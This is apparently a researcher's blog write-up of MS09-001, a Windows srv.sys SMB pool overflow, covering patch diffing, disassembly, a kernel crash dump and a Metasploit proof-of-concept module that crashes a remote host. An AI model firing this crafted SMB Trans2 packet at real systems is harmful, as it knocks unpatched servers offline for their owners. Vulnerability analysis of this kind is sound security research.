Finally its time to publish some long awaiting details of possibly interesting vulnerabilities. It cannot get any better than to start with this years first Microsoft Vulnerability and that too a Remote Kernel; so here goes a copy paste from an old writeup enhanced with some screen shots.
MS09-001 patch fixes at least 3 distinct vulnerabilities, the analysis below is for one of the vulnerabilities fixed.
Vulnerability Identification:
The first and foremost thing in the vulnerability identification process is to download the patch, unpack/extract it and look for the executables/dlls that are supposed to be replacing older version of code in your system with the patched one. Next we need to go deeper and find out what changes the newer version of the executable brings in to the system ie. which all functions are changed, inside the changed functions which all instructions are added or deleted, which all code blocks are added or deleted etc.
An initial
BinDiff of srv.sys from MS09-001 with MS08-063 shows that 4 functions has been changed significantly, among them this analysis focuses on the changes in SrvSmbOpen2(..) function. Disassembling and going through the changes in SrvSmbOpen2(..) and the associated functions reveals the problem:
PAGE:00050586 mov edx, [ebp+var_14]
PAGE:00050589 xor eax, eax
PAGE:0005058B push 6
PAGE:0005058D pop ecx
PAGE:0005058E mov edi, edx
PAGE:00050590 rep stosd
The vulnerability can be boiled down to the following pseudo code:
SrvSmbOpen2(...) {
(..)
ptr = ExAllocatePoolWithTag(TYPE, user_controlled_size, TAG); [1]
(..)
if(operation_is_invalid) {
memset(ptr, 0, 24); [2]
(..)
ExFreePoolWithTag(ptr, TAG); [3]
}
(..)
}
Apparently there is no problem if anything greater than 24 bytes of memory is allocated at [1], but the problem arises when:
- A specially crafted SMB Request (Smb Transact2) is sent where the where the various size fields in the header like ParamCount, ParamCountMax, DataCount, DataCountMax etc. is set such that the allocation in [1] is forced to be less than 24 bytes.
- Since less than 24 bytes of memory is allocated at [1]; the memset at [2] is clearly wrong and leads to memory overwrite pass the Pool and corrupts the adjoining Pool Header by overwriting with NULL byte.
A quick proof of concept code proves the correctness of the analysis with a kernel crash:
kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
BAD_POOL_HEADER (19)
The pool is already corrupt at the time of the current request.
This may or may not be due to the caller.
The internal pool links must be walked to figure out a possible cause of
the problem, and then special pool applied to the suspect tags or the driver
verifier to a suspect driver.
Arguments:
Arg1: 00000020, a pool block header size is corrupt.
Arg2: e1e9e9d8, The pool entry we were looking for within the page.
Arg3: e1e9ea90, The next pool entry.
Arg4: 0c170201, (reserved)
(...)
kd> kb
ChildEBP RetAddr Args to Child
f88de7e0 804f7b9d 00000003 f88deb3c 00000000 nt!RtlpBreakWithStatusInstruction
f88de82c 804f878a 00000003 00000001 e1e9e9d8 nt!KiBugCheckDebugBreak+0x19
f88dec0c 804f8cb5 00000019 00000020 e1e9e9d8 nt!KeBugCheck2+0x574
f88dec2c 80544a86 00000019 00000020 e1e9e9d8 nt!KeBugCheckEx+0x1b
f88dec7c f6961dd1 e1e9e9e0 00000000 f69611a6 nt!ExFreePoolWithTag+0x2a0
f88dec88 f69611a6 804eef9c 82076640 00000000 srv!SrvFreePagedPool+0x2a
f88deca4 f695067b 82076640 00000001 f88ded3c srv!SrvClearLookAsideList+0x2a
f88decb4 f6961081 00000000 804eef9c f695f9e0 srv!LazyFreeQueueDataStructures+0x15c
f88ded3c f6950556 82280ec8 820768c8 8235e640 srv!ScavengerAlgorithm+0x5d
f88ded60 8056bcc5 820768c8 00000000 8055b0c0 srv!ScavengerThread+0x7a
f88ded74 80534c02 82280ec8 00000000 8235e640 nt!IopProcessWorkItem+0x13
f88dedac 805c6160 82280ec8 00000000 00000000 nt!ExpWorkerThread+0x100
f88deddc 80541dd2 80534b02 00000000 00000000 nt!PspSystemThreadStartup+0x34
00000000 00000000 00000000 00000000 00000000 nt!KiThreadStartup+0x16
As expected, BugCheck is caught in the debugger raised due to corrupted Pool Header, but looking at the backtrace is definitely misleading. The problem with memory corruption bugs is that its very easy to get lost in the ocean of allocation and de-allocations. In our case, we know that the corruption occurred in SrvSmbOpen2(..) due to erroneous memset(..) but it definitely is not understandable from the backtrace. This is because the exception is not triggered immediately on the corruption, instead it is only triggered when the corrupted pool is processed at some later point of time. However, Microsoft's
Driver Verifier is the ideal tool to use in this kind of scenario.
.. and finally here goes the meat from PoC code written as Metasploit module.
def exploit
connect()
smb_login()
# Build the malicious Trans2 packet
pkt = Rex::Proto::SMB::Constants::SMB_TRANS2_PKT.make_struct
self.simple.client.smb_defaults(pkt['Payload']['SMB'])
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
pkt['Payload']['SMB'].v['Flags1'] = 0x0000
pkt['Payload']['SMB'].v['Flags2'] = 0x0002
pkt['Payload']['SMB'].v['WordCount'] = 15
pkt['Payload'].v['ParamCountTotal'] = 2
pkt['Payload'].v['DataCountTotal'] = 0
pkt['Payload'].v['ParamCountMax'] = 0
pkt['Payload'].v['DataCountMax'] = 0
pkt['Payload'].v['SetupCountMax'] = 0
pkt['Payload'].v['ParamCount'] = 2
pkt['Payload'].v['ParamOffset'] = 68
pkt['Payload'].v['DataCount'] = 0
pkt['Payload'].v['DataOffset'] = 0
pkt['Payload'].v['SetupCount'] = 1
pkt['Payload'].v['SetupData'] = "\x00\x00"
pkt['Payload'].v['ByteCount'] = 5
pkt['Payload'].v['Payload'] = "\x00\x00\x00\x00\x00"
print_status("Triggering kaboom!")
sock.put(pkt.to_s)
sock.recv(65535)
print_status("Done")
disconnect
end
Notes on Exploitation: I am not aware of any exploit for this vulnerability that results in arbitrary code execution, however there might be certain possibilities if you can somehow prepare or control the state of the different memory pools allocated at the time of corruption.